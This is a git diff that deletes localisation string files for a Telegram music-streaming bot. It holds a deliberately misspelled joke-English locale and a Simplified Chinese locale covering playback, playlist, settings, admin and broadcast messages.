-playmode_1 : "Semlect the modem in whimch you wamnt to plamy the quemries insimde youmr groump[{0}]."
-playmode_2 : "Semttings chamnged and savemd succemssfully by {0}"
-
-#Stream
-str_1 : "Pleamse promvide m3um8 limnks or indemx limnks."
-str_2 : "✅ Valimd stream vemrified\n\nPlease waimt promcessing limnk.."
-str_3 : "Umnable to stream youmtube limve streams. No limve format foumnd"
-
-#TopPlay
-tracks_1 : "**Promcessing {0} top 10 plamylist**\nThis coumld tamke some mins(amround 3-4 mins).. Pleamse Waimt...\n\n**👤Requested By:** {1}\n\nChemck top 10 tramcks by /stats"
-tracks_2 : "**Emrror**\n\nThere's no **{0} top 10 plamylist** on bomt's servemrs. Pleamse try any othemr plamylist"
-
-#Lyrics
-lyrics_1 : "**Umsage:**\n\n/lyrics [musimc name]"
-lyrics_2 : "Seamrching Lyrimcs"
-lyrics_3 : "❌ Faimled to femtch lyrimcs😭.\n\n💡**Tried seamrching fomr:** {0}"
-lyrics_4 : "Climck on the buttomn belomw and get seamrched lyrimcs in private messaging."
-
-#Ping
-ping_1 : "Pomng!!!!"
-ping_2 : "{0} is workimng goomd wimth a pimng of `{1}` ms.\n\nBomt's uptime is {2} and has usemd a totaml of {3} servemr's stomrage. Cpu loamd is aboumt {4} wimth a consumptiomn of {5} ram. Py-tgcamlls cliemnt is alsom havimg a goomd pimng of `{6}` ms."
-
-# Song
-song_1 : "Youm can downloamd musimc or vimdeo from youmtube only in primvate chamt. Pleamse stamrt me in primvate chamt."
-song_2 : "**Umsage:**\n\n/song [musimc name] or [youmtube limnk]"
-song_3 : "Limve limnk detemcted. I am not ablem to downloamd limve youmtube videoms. "
-song_4 : "**🔗Timtle:**- {0}\n\nSemlect the typem in whimch you wamnt to downloamd."
-song_5 : "Nomt a valimd Youmtube limnk"
-song_6 : "Gemtting formats.. \n\nPleamse waimt.."
-song_7 : "Faimled to get avaimlable formats for the vimdeo. Pleamse try any othemr tramck."
-song_8 : "Domwnload stamrted\n\nDownloading speemd coumld be slomw. Pleamse homld on.."
-song_9 : "Faimled to downloamd somng from youmtube-dl\n\n**Reason:** {0}"
-song_10 : "Faimled to uploamd on telemgram from servemrs."
-song_11 : "Uploamding stamrted\n\nUploading speemd coumld be slomw, Pleamse homld on.."
-
-# Tools - Queue
-queue_1 : "Pleamse waimt..Fetching queuem.."
-queue_2 : "No tramcks insimde queuem."
-queue_3 : "**Queued Tramcks:** [Chemckout morem queuemd tramcks from herem]({0})"
-queue_4 : "⏳ Addemd to Queuem at **#{0}\n\n💡Timtle:** {1}\n**⏱Dumration:** {2}\n👤**Amdded by:** {3}"
-
-# All Streaming Lines
-stream_1 : "❤️🔥 **𝑪𝒉𝒂𝒍𝒖 𝒉𝒐𝒈𝒚𝒂** 😚\n\n😜**𝑪𝒉𝒍𝒂𝒏𝒆 𝑾𝒂𝒍𝒂:** {0}\n🔦**Information: **[Here]({1})"
-stream_2 : "❤️🔥 **𝑪𝒉𝒂𝒍𝒖 𝒉𝒐𝒈𝒚𝒂 via URL ** 😚\n\n😜**𝑪𝒉𝒍𝒂𝒏𝒆 𝑾𝒂𝒍𝒂:** {0}"
-stream_3 : "❤️🔥 **𝑪𝒉𝒂𝒍𝒖 𝒉𝒐𝒈𝒚𝒂** 😚\n\n**🏷Title:** {0}\n⌛️**𝑮𝒂𝒂𝒏𝒂 𝒄𝒉𝒍𝒏𝒆 𝒌𝒂 𝒘𝒂𝒒𝒕**: {1}\n😜**𝑪𝒉𝒍𝒂𝒏𝒆 𝑾𝒂𝒍𝒂:** {2}"
-stream_4 : "❤️🔥 **𝑪𝒉𝒂𝒍𝒖 𝒉𝒐𝒈𝒚𝒂** 😚\n\n**🏷Title:** [{0}]({1})\n⌛️**𝑮𝒂𝒂𝒏𝒂 𝒄𝒉𝒍𝒏𝒆 𝒌𝒂 𝒘𝒂𝒒𝒕**: {2}\n😜**𝑪𝒉𝒍𝒂𝒏𝒆 𝑾𝒂𝒍𝒂:** {3}"
-
-# Inline Buttons
-
-#General Buttons
-CLOSE_BUTTON : "🗑 Clomse"
-CLOSEMENU_BUTTON : "🗑 Clomse Menu"
-BACK_BUTTON : "⬅ Bamck"
-UNBAN_BUTTON : "🗑 Unbamn Assimstant"
-
-#Lyrics
-L_B_1 : "🚀 Chemckout Lyrimcs Now"
-
-# Start
-S_B_1 : "👨💻 ᴄᴏᴍᴍᴀɴᴅs 👨💻"
-S_B_2 : "⚙️ sᴇᴛᴛɪɴɢs ⚙️"
-S_B_3 : "💌 sᴜᴘᴘᴏʀᴛ 💌"
-S_B_4 : "🌟 ᴄʜᴀɴɴᴇʟ 🌟"
-S_B_5 : "➕ ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ ➕"
-S_B_6 : "💶 ʏᴏᴜᴛᴜʙᴇ 💵"
-S_B_7 : "🔥 ᴏᴡɴᴇʀ 🔥"
-S_B_8 : "🤔 ʜᴇʟᴩ 🤔"
-
-#Help
-H_B_1 : "Amdmin Commands"
-H_B_2 : "Plamy Commands"
-H_B_3 : "Bomt Commands"
-H_B_4 : "Emxtra Commands"
-H_B_5 : "Clomse Menu"
-H_B_6 : "Sumdo Umser Commands"
-
-#PlayMode
-PM_B_1 : "DimrectPlay"
-PM_B_2 : "InlimneMarkup"
-PM_B_3 : "ChamnnelPlay"
-
-#Play
-P_B_1 : "🎵 Plamy Aumdio"
-P_B_2 : "🎥 Plamy Vimdeo"
-P_B_3 : "🏮 Starmt Limve Stream"
-P_B_4 : "🎵 Plamy Plamylist"
-
-#Playlist
-PL_B_1 : "🚀 Plamy Playlimst"
-PL_B_2 : "✚ Playlimsts"
-PL_B_3 : "✚ Addimtional"
-PL_B_4 : "📡 Plamy Momde"
-PL_B_5 : "🔄 Del Whomle Plamylist"
-PL_B_6 : "↗️ Demlete Plamylist"
-PL_B_7 : "❗️ Yes, I'm sumre. Demlete it"
-PL_B_8 : "🔢 Plamy Top 10"
-PL_B_9 : "🤖 Plamy Glombal Top 10 Tramcks"
-PL_B_10 : "🏘 Plamy Groump's Top 10 Tramcks"
-PL_B_11 : "👤 Plamy Persomnal Top 10 Tramcks"
-
-#Settings
-ST_B_1 : "🔊 Aud Quamlity"
-ST_B_2 : "🎥 Vid Quamlity"
-ST_B_3 : "🎩 Aumth Umsers"
-ST_B_4 : "📱 Dashboard"
-ST_B_5 : "▶️ Plamy Momde"
-ST_B_6 : "🏳️🌈 Lamguage"
-ST_B_7 : "🔄 Cleam Momde"
-ST_B_8 : "{0} Low Quamlity Aumdio"
-ST_B_9 : "{0} Memdium Quamlity Aumdio"
-ST_B_10 : "{0} Himgh Quamlity Aumdio"
-ST_B_11 : "{0} Low Quamlity Vimdeo"
-ST_B_12 : "{0} Memdium Quamlity Vimdeo"
-ST_B_13 : "{0} Himgh Quamlity Vimdeo"
-ST_B_14 : "✅ Enambled"
-ST_B_15 : "❌ Disambled"
-ST_B_16 : "👤 Amdmins"
-ST_B_17 : "👥 Evemryone"
-ST_B_18 : "📋 Authomrized Umsers Limsts"
-ST_B_19 : "🔎 Seamrch Momde"
-ST_B_20 : "✅ Diremct"
-ST_B_21 : "✅ Inlimne"
-ST_B_22 : "👨⚖️ Amdmin Commands"
-ST_B_23 : "🏘 Groump"
-ST_B_24 : "🏷 Chamnnel"
-ST_B_25 : "🫂 Plamy Typem"
-ST_B_26 : "🗑 Command Cleanm"
-
-#Song
-SG_B_1 : "↗️ Openm Primvate Chamt"
-SG_B_2 : "🔊 Aumdio"
-SG_B_3 : "🎥 Vimdeo"
-
-#Stats
-SA_B_1 : "📢 Top 10 Chamt"
-SA_B_2 : "🔢 Top 10 Tramcks"
-SA_B_3 : "🧛 Top 10 Umsers"
-SA_B_4 : "🏷 Top 10 Herem"
-SA_B_5 : "💡 Ovemrall Stamts"
-SA_B_6 : "👤 Umser Stamts"
-SA_B_7 : "🔢 Glombal Top 10 Stamts"
-SA_B_8 : "🤖 Bomt Stamts"
diff --git a/strings/langs/cn.yml b/strings/langs/cn.yml
deleted file mode 100644
index a500757..0000000
--- a/strings/langs/cn.yml
+++ /dev/null
@@ -1,416 +0,0 @@
-name: '🇨🇳 中文(简体)'
-#General Strings
-general_1: "回复一条消息或提供用户名/user_id"
-general_2: "Error!命令语法错误"
-general_3: "处理查询时发生了一些**异常**\n\n异常类型:- {0}"
-general_4: "您是此群组中的匿名管理员!\n请关闭匿名管理员"
-general_5: "您需要成为语音聊天权限的管理员才能执行此操作"
-general_6: "Bot 当前并未在语音聊天中播放媒体"
-#Classes - Telegram.py
-tg_1: "Bot 当前下行负载**过高**\n\n**请等待:** {0} (__expected time__)"
-tg_2: "尝试从Telegram中下载媒体时失败"
-#Core - Call.py
-call_1: "Bot 需要**管理员**权限才能邀请子账户加入您的频道"
-call_2: "助理账户在您的群组或频道中被封禁,请解除封禁。\n\n**账户用户名:** @{0}\n**账户 ID:** {1}"
-call_3: "邀请助理账户加入聊天时发生异常。\n\n原因: {0}"
-call_4: "Bot需要**通过链接邀请用户**权限才能邀请助理账户加入您的群组。"
-call_5: "助理账户将在5秒内加入。请稍候!"
-call_6: "助理账户 [{0}] 已成功加入。\n\n立即开始音乐"
-call_7: "**被授予了过高的权限**\n\n请撤销 **禁止用户** 权限"
-call_8: "**被授予了过高的权限**\n\n请撤销 **添加管理员** 权限"
-call_9: "**切换曲目时失败**\n请使用 /skip 再次更改曲目"
-call_10: "从播放列表下载下一首曲目"
-call_11: "请将 @{0} 添加到您的频道[ ID: {1}]。\n\nBot无法获取频道详细信息。"
-#PLUGINS - Auth.py
-auth_1: "您的群组的授权用户列表 (AUL) 中只能有 20 个用户"
-auth_2: "已添加到该组的授权用户列表。"
-auth_3: "已在授权用户列表中。"
-auth_4: "已从此组的授权用户列表中删除。"
-auth_5: "目标用户不是授权用户。"
-auth_6: "正在获取授权用户... 请稍候"
-auth_7: "**授权用户列表[AUL]:**\n\n"
-auth_8: "┗ 添加者:-"
-#PLUGINS - Admins
-admin_1: "音乐已暂停。"
-admin_2: "🎧 语音聊天由 {}暂停!"
-admin_3: "音乐已恢复。"
-admin_4: "🎧 语音聊天由 {}恢复!"
-admin_5: "音乐已经静音。"
-admin_6: "🎧 语音聊天由 {}静音!"
-admin_7: "音乐已取消静音。"
-admin_8: "🎧 语音聊天由 {}取消静音!"
-admin_9: "🎧 语音聊天结束/被{}停止!"
-admin_10: "🎧 语音聊天由 {}跳过!队列中无音乐。"
-admin_11: "修改播放媒体为 **{0}** 时出错\n\n请再次使用 /skip"
-admin_12: "由于启用了循环播放,无法跳到特定轨道。请通过“/loop disable”禁用循环播放以使用此功能。"
-admin_13: "请为特定曲目使用数字,如1,2或4等"
-admin_14: "队列中至少需要 2 个轨道才能跳到特定编号。按 /queue 检查队列"
-admin_15: "队列中没有足够的轨道来表示您给出的值。请在 1 和 {0} 之间选择数字"
-admin_16: "未能跳到特定轨道。\n\n按 /queue 检查左队列"
-admin_17: "{0}..请稍候"
-admin_18: "找不到管理员列表\n\n请通过 /admincache 或 /reload 重新加载管理员列表"
-admin_19: "您需要具有管理语音聊天权限的管理员才能执行此操作。\n如果您已经是管理员,请通过 /admincache 重新加载 "
-admin_20: "已成功重新加载管理员缓存。"
-admin_21: "队列中没有任何东西可以排序"
-admin_22: "无法排序。\n\n检查队列 : /queue"
-admin_23: "**队列由 {0} 重新排列**\n\n查看新的队列: /queue"
-admin_24: "**用法:**\n/loop [enable/disable] 或 [介于 1-10 的数字]\n\n**示例:** /loop 5"
-admin_25: "{0} 启用了循环 **{1}**次。Bot现在将在语音聊天中重复当前播放的音乐**{1}**次"
-admin_26: "请使用1-10之间的数字进行循环播放"
-admin_27: "循环播放已被禁用"
-admin_28: "**用法:**\n/seek 或 /seekback [持续时间以秒为单位]"
-admin_29: "请使用10-20-30秒这样的数字持续时间来搜索"
-admin_30: "很抱歉,您无法查找当前正在播放的流。它只能被跳过或停止。"
-admin_31: "由于给定的持续时间长,Bot无法搜索。您需要寻求较低的持续时间,并记住在搜索后还剩下10秒的时间。\n\n当前播放** {0}分钟 / *{1}分钟"
-admin_32: "请稍候。。。正在寻求持续的流。"
-admin_33: "成功跳转时间到 {0}"
-admin_34: "无法查找当前流。"
-#Bot
-#Start
-start_1: "感谢您将我添加到 {0}\n{1} 当前运行正常\n\n如需任何帮助,请查看我们的群组和频道"
-start_2: "您好, 我的名字是 {0}.\n\n我是一个具有一些实用功能的Telegram流Bot。支持Youtube,Spotify,Resso,AppleMusic,Soundcloud等平台\n\n可随时将我添加到您的群组中。"
-start_3: "欢迎 {0}\n\n我不需要任何**管理员权限**即可工作(直到被要求)。\n\n助理账户用户名:- @{1}\n助理账户用户 ID:- {2}"
-start_4: "{0} 的所有者 [{1}] 刚刚加入了您的群组"
-start_5: "{0} 的 Sudo 用户 [{1}] 的刚刚加入您的群组"
-start_6: "❗️ **需要超级群组** ❗️\n\n请将您的**群组**转换为**超级群组**,然后重新添加我。\n\n**如何创建超级群组?**\n✅使群组的聊天记录**可见**一次。"
-start_7: "**列入黑名单的聊天**\n\n您的聊天已被Bot列入黑名单。请先要求任何 Sudo用户 将聊天列入白名单。[从这里检查]({0})"
-#Help
-help_1: "单击下面的按钮以获取更多信息。如果你在使用中遇到任何问题,可以联系Bot所有者或在官方群组中询问\n\n所有命令都以 \"/\" 开始"
-help_2: "在私聊中与我联系以获取帮助"
-#Settings
-setting_1: "⚙️ **音乐Bot设置**\n\n🖇 **群组:** {0}\n🔖 **群组 ID:** {1}\n\n💡 **从下方选择要编辑的功能**"
-setting_3: "⁉️ 这是什么?\n\n1) Direct:直接播放搜索查询。使用 -v 以直接模式播放视频。\n\n2) Inline:返回用于在视频和音频之间进行选择的内联标记按钮。"
-setting_4: "⁉️ 这是什么?👥\n\n👥 Everyone:所有人都可以使用该群组中的管理员命令(/skip, /pause, /resume 等)\n\n🙍 Admin Only:只有管理员和授权用户才能使用管理员命令"
-setting_5: "未找到授权用户\n\n您可以允许任何非管理员通过 /auth 使用我的管理员命令,并使用 /unauth 删除"
-setting_9: "⁉️ 这是什么?\n\n启用后, Bot 将于 {0} 秒后删除自己的消息"
-setting_10: "⁉️ 这是什么?\n\n1)群组:在发出命令的组中播放音乐。\n\n2)频道:在您想要的频道中播放音乐。通过 /channelplay 设置频道 Id"
-setting_11: "⁉️ 这是什么?\n\n1)Everyone:这个小组中的任何人都可以在这里播放音乐\n\n2)Admin Only:只有管理员才能播放此组中的音乐"
-setting_12: "❌ 您没有为频道模式设置频道 Id, 请使用 /channelplay 进行定义"
-setting_13: "无法在活动群组通话中更改播放模式。请先使用 /stop 停止语音聊天。"
-setting_14: "⁉️ 这是什么?\n\n启用后,Bot 将删除用户发送的控制指令(/play,/pause,/shuffle,/stop等)\n\nBot 需要删除消息管理员权限才能正常工作"
-setting_15: "无法解决对等问题,请确保您已在频道中添加了Bot并将其提升为管理员。\n\n请尝试再次设置 /channelplay。"
-setting_16: "⁉️ 这是什么?\n\n启用后,Bot 会每 1-2 小时随机发送有关于 Bot 的提示(命令或其他内容的教程)"
-set_cb_1: "正在获取音频质量控制面板..."
-set_cb_2: "正在获取视频质量控制面板..."
-set_cb_3: "正在获取授权用户控制面板..."
-set_cb_4: "正在获取播放模式控制面板..."
-set_cb_5: "正在获取清理模式控制面板..."
-set_cb_6: "正在应用设置"
-set_cb_7: "正在获取授权用户列表中..."
-set_cb_8: "返回中..."
-#Misc
-ustats_1: "未找到用户统计信息"
-ustats_2: "您好!到目前为止,您已经播放了 **{0}** 首曲目,并且数量高达 **{1}** 次\n\n你播放过的前 {2} 首:\n\n"
-gstats_1: "获取全局统计数据,这可能需要一些时间..."
-gstats_2: "未找到统计数据"
-gstats_3: "正在Bot上获得全局Top10 {0} ,这可能需要一些时间"
-gstats_4: "**Bot 上的总查询数:** {0}\n\n{1} 到目前为止一共播放了 **{2}** 个不同的媒体,并且播放数量高达 **{3}** 次\n\n**播放次数Top {4} 次的媒体:**\n"
-gstats_5: "**前 {0} 个群组的 {1}:**\n\n"
-gstats_6: "**在{1}中的Top{0}用户**\n\n"
-gstats_7: "到目前为止,该聊天组一直在播放**{0}**曲目,其数量高达**{1}**次。\n\n此聊天组播放的Top {2} :\n\n"
-gstats_8: "获取Bot的信息中, 这可能需要一些时间..."
-gstats_9: "**Bot 的全局统计信息**\n\n从下方选择要查看的统计信息"
-gstats_10: "** {0}的全局统计信息 **\n\n从下面选择要从Bot服务器检查全局统计信息的按钮。"
-gstats_11: "** {0} 的统计信息**\n从下方选择要查看统计信息\n\n如要查看 Top 10 媒体|群组|用户 等,请使用 /gstats"
-#Play
-#Play Callback
-playcb_1: "这不适合你!搜索你自己的歌曲"
-playcb_2: "获取下一个结果"
-#Channel Play
-cplay_1: "您可以将该群组 [{0}] 的音乐播放到该群组链接到的频道或其他频道\n\n**对于群组链接到的频道:**\n“/{1} linked”\n\n**对于任何其他频道:**\n“/{1} [频道 ID]”"
-cplay_2: "此聊天没有链接的频道"
-cplay_3: "频道确定为 {0}\n__Channel ID__: {1}"
-cplay_4: "无法获取频道\n\n请确保您已在频道中添加了Bot并将其提升为管理员\n通过 /channelplay 编辑或更改频道"
-cplay_5: "仅支持频道"
-cplay_6: "您需要是频道 [{0}] 的 “所有者”才能将其与此组连接。\n**频道的所有者:** @{1}\n\n或者,您可以将您的群组链接到该频道,然后尝试用“/channelplay linked”连接"
-#Play
-play_1: "🔄 正在处理查询... 请稍候!"
-play_2: "**🏷频道播放模式**\n\n🔄处理查询... 请稍候!\n**链接的频道:** {0}"
-play_3: "无法处理查询!"
-play_4: "🖇 **仅管理员可播放**\n只有管理员和身份验证用户可以在此群组中播放音乐。\n\n通过 /playmode 更改模式,如果您已经是管理员,请通过 /admincache 重新加载管理员列表"
-play_5: "无法处理音频文件。\n\n音频文件大小应小于 100 Mb"
-play_6: "**超出播放时间限制**\n\n**允许的播放时间:** {0} 分钟\n**收到的播放时间:** {1} 小时"
-play_7: "抱歉!由于 CPU 负载问题,Bot 仅允许有限数量的视频呼叫, 许多其他聊天现在正在使用视频通话, 请尝试切换到音频或稍后再试"
-play_8: "不是有效的视频文件扩展名!\n\n**支持的格式:** {0}"
-play_9: "视频文件大小应小于 1 GiB"
-play_10: "**Youtube播放列表功能**\n\n选择要在其中播放整个Youtube播放列表的模式"
-play_11: "📎标题: **{0}\n\n⏳时长:** {1} 分钟"
-play_12: "**Spotify播放模式**\n\n请求者:- {0}"
-play_13: "**Apple播放列表**\n\n请求者:- {0}"
-play_14: "**无法验证 URL。**\nBot 想知道此 URL 是否属于以下任何平台:Youtube、AppleMusic、Spotify、Resso 和 Soundcloud。\n\n您可以将 /stream 用于 M3u8 或远程链接。"
-play_15: "**检测到实时流**\n\n系统已将您的曲目链接检测为实时流。想玩直播吗?"
-play_16: "无法获取曲目详细信息, 尝试播放另一个"
-play_17: "无法播放这种类型的 spotify 查询!\n\n我只能播放 spotify 曲目、专辑、艺术家和播放列表"
-play_18: "**未找到活动语音聊天**\n\n要使用强制播放,您的组中必须有活动语音聊天。**强制播放**在语音聊天中停止播放曲目,并立即开始播放搜索的曲目,而不会干扰/清除队列。"
-#Playlist
-playlist_1: "**使用方法:** /play [音乐名称或Youtube链接或回复一条音频]\n\n如果你想播放 Bot 存储在服务器中的列表!请使用下面的按钮"
-playlist_2: "获取播放列表中..."
-playlist_3: "Bot服务器上没有播放列表"
-playlist_4: "提取的播放列表:\n\n"
-playlist_5: " 播放长度- {0} 分钟"
-playlist_6: "私聊我以删除播放列表。"
-playlist_7: "播放列表中的曲目: {0}\n\n按按钮删除播放列表中的特定曲目\n\n要删除整个播放列表:按 \"Del Whole Playlist\""
-playlist_8: "此曲目已存在\n\n此曲目存在于您的播放列表中。"
-playlist_9: "不好意思!您只能在播放列表中拥有 {0} 音乐。"
-playlist_10: "以下内容被添加到播放列表\n\n{0}"
-playlist_11: "已成功删除您的曲目。"
-playlist_12: "无法删除曲目。"
-playlist_13: "从服务器中删除了整个播放列表。 "
-playlist_14: "**您确定要删除整个播放列表吗?**\n\n您将丢失播放列表,并且以后无法恢复。"
-playlist_15: "[查看完整的播放列表]({0})"
-playlist_16: "队列中的播放列表:"
-playlist_17: "队列位置-"
-playlist_18: "[查看整个播放队列]({0})\n\n当前队列长度: **{1}**"
-#Playmode
-playmode_1: "选择要在其中播放组内查询的模式[{0}]。"
-playmode_2: "{0} 更改并成功保存了设置"
-#Stream
-str_1: "请提供 M3u8 链接或索引链接。"
-str_2: "✅ 有效流已验证\n\n请等待处理链接。"
-str_3: "无法流式传输 YouTube 直播。未找到实时格式"
-#TopPlay
-tracks_1: "**处理 {0} 前10个播放列表**\n这可能需要几分钟(大约3-4分钟), 请稍候...\n\n**👤请求者:** {1}\n\n使用 /gstats 查看前 10 首曲目"
-tracks_2: "**错误**\n\nBot的服务器上没有**{0} 前 10 热门列表**, 请尝试任何其他播放列表"
-#TOOLS
-#Lyrics
-lyrics_1: "**用法:**\n\n/lyrics [音乐名称]"
-lyrics_2: "搜索歌词"
-lyrics_3: "❌ 无法获取歌词😭。💡\n\n**在尝试搜索:** {0}"
-lyrics_4: "单击下面的按钮并获取搜索的歌词,以避免SPAM类型的歌词搜索"
-#Ping
-ping_1: "Pong!!!!"
-ping_2: "{0} 当前的延迟为 {1} ms\nPy-Tgcalls 客户端当前延迟 {6} ms\n\n运行总时长: {2}\nCPU当前占用: {4}\nRAM已使用: {5}\n存储空间已使用: {3}"
-#Song
-song_1: "您只能在私人聊天中从 YouTube 下载音乐或视频。请开始私人聊天。"
-song_2: "**用法:**\n\n/song [音乐名称] 或 [Youtube 链接]"
-song_3: "检测到实时链接。我无法下载直播的YouTube视频。 "
-song_4: "**🔗标题:**- {0}\n\n选择要下载的类型。"
-song_5: "不是有效的YouTube链接"
-song_6: "获取格式中.. \n\n请稍候"
-song_7: "无法获取视频的可用格式。请尝试任何其他曲目。"
-song_8: "下载开始\n\n下载速度可能很慢, 请等待.."
-song_9: "无法从Youtube-DL下载歌曲\n\n**原因:** {0}"
-song_10: "无法从服务器上传到Telegram。"
-song_11: "上传已开始\n\n上传速度可能较慢, 请等待.."
-#Tools - Queue
-queue_1: "请稍候。。获取队列中.."
-queue_2: "队列为为空。未找到曲目"
-queue_3: "**排队曲目:** [从这里查看更多排队曲目]({0})"
-queue_4: "⏳ 已添加到队列 位于 **#{0}**\n\n💡**名称:** {1}\n⏱**时长:** {2}\n👤**添加者:** {3}"
-queue_5: "队列内只有一个曲目,请再添加一些到列表"
-#All Streaming Lines
-stream_1: "📡 **开始播放** 💡\n\n👤**请求自: ** {0}\n🔦**歌曲详情: **[Here]({1})"
-stream_2: "📡 **开始通过网页地址推流 ** 💡\n\n👤**请求自:** {0}"
-stream_3: "📡 **开始播放** 💡\n\n🏷**标题: ** {0}\n⌛️**时长: ** {1}\n👤**请求自: ** {2}"
-stream_4: "📡 **开始播放** 💡\n\n🏷**标题: ** [{0}]({1})\n⌛️**时长: ** {2}\n👤**请求自: ** {3}"
-#Inline Buttons
-#General Buttons
-CLOSE_BUTTON: "🗑 关闭"
-CLOSEMENU_BUTTON: "🗑 关闭"
-BACK_BUTTON: "⬅ 返回"
-UNBAN_BUTTON: "🗑 解禁助理账户"
-#Lyrics
-L_B_1: "🚀 正在查看歌词"
-#Start
-S_B_1: "🗒 指令帮助"
-S_B_2: "🔧 设置"
-S_B_3: "📨 支持"
-S_B_4: "📨 频道"
-S_B_5: "✚ 将我添加到你的群组"
-S_B_6: "💡 Git Repo"
-S_B_7: "👤 Bot 所有者"
-S_B_8: "🔎 如何使用?查看命令菜单。"
-#Help
-H_B_1: "管理员指令"
-H_B_2: "播放指令"
-H_B_3: "Bot指令"
-H_B_4: "其他命令"
-H_B_5: "关闭菜单"
-H_B_6: "Sudo用户指令"
-#PlayMode
-PM_B_1: "直接播放"
-PM_B_2: "内联标记"
-PM_B_3: "频道播放"
-#Play
-P_B_1: "🎵 播放音频"
-P_B_2: "🎥 播放视频"
-P_B_3: "🏮 开始直播"
-P_B_4: "🎵 播放列表"
-#Playlist
-PL_B_1: "🚀 播放列表"
-PL_B_2: "✚ 添加到播放列表"
-PL_B_3: "✚ 播放控制"
-PL_B_4: "📡 播放模式"
-PL_B_5: "🔄 删除整个播放列表"
-PL_B_6: "↗️ 删除播放列表"
-PL_B_7: "❗️ 是的, 我知道我在做什么, 删除它"
-PL_B_8: "🔢 播放榜单前 10 名"
-PL_B_9: "🤖 播放全局前 10 首曲目"
-PL_B_10: "🏘 播放群组中前 10 大曲目"
-PL_B_11: "👤 播放个人前 10 首曲目"
-#Settings
-ST_B_1: "🔊 音频质量"
-ST_B_2: "🎥 视频质量"
-ST_B_3: "🎩 授权用户"
-ST_B_4: "📱 控制面板"
-ST_B_5: "▶️ 播放模式"
-ST_B_6: "🏳️ 语言"
-ST_B_7: "🔄 整洁模式"
-ST_B_8: "{0} 低质量音频"
-ST_B_9: "{0} 中等质量音频"
-ST_B_10: "{0} 高品质音频"
-ST_B_11: "{0} 低质量视频"
-ST_B_12: "{0} 中等质量视频"
-ST_B_13: "{0} 高质量视频"
-ST_B_14: "✅ 启用"
-ST_B_15: "❌ 禁用"
-ST_B_16: "👤 仅管理员"
-ST_B_17: "👥 所有人"
-ST_B_18: "📋 授权用户列表"
-ST_B_19: "🔎 搜索模式"
-ST_B_20: "✅ Direct 模式"
-ST_B_21: "✅ Inline 模式"
-ST_B_22: "👨⚖️ 管理员指令"
-ST_B_23: "🏘 群组"
-ST_B_24: "🏷 频道"
-ST_B_25: "🫂 播放类型"
-ST_B_26: "🗑 指令清理"
-ST_B_27: "🧑🚀 定时提示"
-#Song
-SG_B_1: "↗️ 打开私聊"
-SG_B_2: "🔊 音频"
-SG_B_3: "🎥 视频"
-#Stats
-SA_B_1: "📢 播放次数最多的群组 Top 10"
-SA_B_2: "🔢 最受欢迎的媒体 Top 10"
-SA_B_3: "🧛 播放次数最多的用户 Top 10"
-SA_B_4: "🏷 该组最受欢迎的媒体 Top 10"
-SA_B_5: "💡 Bot 统计信息"
-SA_B_6: "👤 我的统计"
-SA_B_7: "🔢 全局 Top 10 统计数据"
-SA_B_8: "🤖 Bot状态"
-#Queue
-QU_B_1: "📑 队列"
-QU_B_2: "播放了 {1} 中的 {0}"
-#Sudo Users [ If you are translating this to some other language .. you can leave all these strings in english language]
-#Sudo
-sudo_1: "{0} 已经是Sudo 用户"
-sudo_2: "添加了 **{0}** 到 Sudo 用户。"
-sudo_3: "不位于Bot Sudo中"
-sudo_4: "已从Bot的 Sudo 用户中删除"
-sudo_5: "⭐️ **所有者:**\n"
-sudo_6: "\n⭐️ \n **Sudo 用户:**\n"
-sudo_7: "没有 Sudo 用户"
-#Block
-block_1: "{0} 已经被Bot封禁"
-block_2: "已将 **{0}** 添加到Bot的阻止列表中, 用户现在在任何情况下都无法使用Bot\n\n查看被封禁的用户:/blockedusers"
-block_3: "用户已经释放且未被阻止"
-block_4: "已从阻止列表中删除用户, 用户现在将能够使用Bot"
-block_5: "未找到被封禁的用户"
-block_6: "获取用户封禁列表中... 请稍候"
-block_7: "**被封禁的用户:**\n\n"
-#Blacklist Chats
-black_1: "**用法:**\n/blacklistchat [CHAT_ID]"
-black_2: "群组已经在黑名单中"
-black_3: "群组已成功列入黑名单"
-black_4: "**用法:**\n/whitelistchat [CHAT_ID]"
-black_5: "群组已经在白名单中"
-black_6: "群组已成功列入白名单"
-black_7: "**列入黑名单的群组:**\n\n"
-black_8: "没有列入黑名单的群组"
-#videolimit
-vid_1: "**用法:**\n/set_video_limit [允许的群组数量] 或 [Disable]"
-vid_2: "请使用数字来设置限制"
-vid_3: "视频通话最大限制定义为 {0} 个群组"
-vid_4: "视频通话已禁用"
-#maintenance
-maint_1: "**用法:**\n/maintenance [enable|disable]"
-maint_2: "已启用维护"
-maint_3: "已禁用维护模式"
-#log
-log_1: "**用法:**\n/logger [enable|disable]"
-log_2: "已启用日志记录"
-log_3: "已禁用日志记录"
-#videomode
-vidmode_1: "**用法:**\n/videomode [download|m3u8]"
-vidmode_2: "视频播放模式设置为下载, Bot现在将下载曲目"
-vidmode_3: "视频播放模式设置为 m3u8, Bot现在将实时播放曲目"
-#broadcast
-broad_1: "** {0} 聊天中的广播消息与来自Bot的 {1} 置顶消息。**"
-broad_2: "开始助理账户广播..."
-broad_3: "**助理账户广播:**\n\n"
-broad_4: "助理账户 {0} 在 {1} 中广播\n"
-broad_5: "**用法**:\n/broadcast [消息] 或者 [回复一条消息]"
-broad_6: "请提供一些文字进行广播"
-broad_7: "**向 {0} 个用户广播消息**"
-#Heroku
-heroku_1: "请确保您的 Heroku API 密钥和您的应用程序名称在 heroku 中正确配置"
-heroku_2: "您只能获取Heroku应用程序的日志"
-heroku_3: "**用法:**\n/get_var [变量名称]"
-heroku_4: "找不到任何此类变量。"
-heroku_5: "找不到 .env 文件。"
-heroku_6: "**用法:**\n/get_var [变量名称]"
-heroku_7: "{0} 已删除。"
-heroku_8: "**用法:**\n/set_var [变量] [变量值]"
-heroku_9: "{0} 已成功更新"
-heroku_10: "已成功添加{0}"
-heroku_11: "仅适用于 Heroku 应用程序"
-heroku_12: "正在检查 Heroku 使用情况。请稍候"
-heroku_13: "正在检查可用更新..."
-heroku_14: "Git 命令错误"
-heroku_15: "无效的 Git Repsitory"
-#Private bot mode
-pbot_1: "**用法:**\n/authorize [CHAT_ID]"
-pbot_2: "**用法:**\n/unauthorize [CHAT_ID]"
-pbot_3: "已将给定聊天添加到授权列表"
-pbot_4: "已从授权列表中删除给定的聊天"
-pbot_5: "聊天已在授权列表中"
-pbot_6: "授权列表中不存在此类聊天"
-pbot_7: "无法验证chat_id。\n\n确保其数字且格式正确。请勿使用聊天用户名或链接。"
